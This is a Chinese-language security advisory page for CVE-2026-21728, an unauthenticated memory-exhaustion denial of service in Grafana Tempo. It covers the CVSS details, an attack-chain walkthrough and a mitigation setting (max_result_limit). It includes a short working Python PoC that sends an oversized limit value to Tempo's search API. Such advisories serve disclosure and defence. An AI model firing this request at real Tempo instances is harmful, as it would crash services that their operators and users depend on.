IPBUF安全漏洞报告
English
CVE-2026-21728 CVSS 7.5 高危

CVE-2026-21728 Grafana Tempo内存耗尽拒绝服务漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-21728
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grafana Tempo

相关标签

拒绝服务内存耗尽DoSGrafana TempoCVE-2026-21728

漏洞概述

Grafana Tempo在处理带有较大Limit参数的查询请求时,会引发系统进行大规模的内存分配。这种不受控制的资源消耗可能导致服务进程崩溃或响应严重停滞,从而严重影响服务的可用性。由于无需认证且无交互要求,攻击者可轻易利用此漏洞实施高效的拒绝服务攻击。

技术细节

该漏洞主要源于Grafana Tempo在执行Trace查询操作时,未对输入参数中的结果集大小限制进行充分的边界检查与资源配额控制。当攻击者构造包含超大Limit值的恶意查询请求时,后端服务会尝试分配与该数值成比例的巨大内存空间以缓存潜在的查询结果。这种不受控的内存分配行为会迅速耗尽服务器的可用物理内存资源,导致系统频繁使用Swap分区或直接触发OOM机制强制终止进程。鉴于该漏洞允许未经认证的远程攻击者利用,且无需用户交互,其对部署在公网环境的Tempo实例构成了极高的拒绝服务攻击风险。

攻击链分析

STEP 1
侦察
攻击者发现并定位暴露在互联网上的Grafana Tempo服务接口。
STEP 2
构造攻击
攻击者编写脚本,将查询请求中的limit参数设置为极大值(如999999999)。
STEP 3
发送请求
攻击者向Tempo的搜索API接口发送包含恶意参数的HTTP POST请求。
STEP 4
资源耗尽
服务器尝试根据limit参数分配巨量内存,导致物理内存迅速耗尽。
STEP 5
服务中断
操作系统触发OOM Killer杀死进程或服务响应超时,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for Grafana Tempo Search API target_url = "http://target-tempo-instance:3100/api/search" # Malicious payload with an extremely large limit to trigger memory exhaustion # The limit is set to a very high number to force large memory allocation payload = { "limit": 999999999, "query": "{service=\"test\"}" } try: print(f"[+] Sending DoS request to {target_url}...") # Send the POST request with the malicious payload response = requests.post(target_url, json=payload, timeout=10) print(f"[+] Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed or service crashed: {e}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Grafana Tempo (具体受影响版本请参考厂商安全通告)

防御指南

临时缓解措施
建议立即在Tempo的搜索配置中设置`max_result_limit`参数,将其限制为合理范围内(例如262144,即2^18),以此限制单次查询可返回的最大结果数量,防止因请求过大导致系统内存耗尽。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表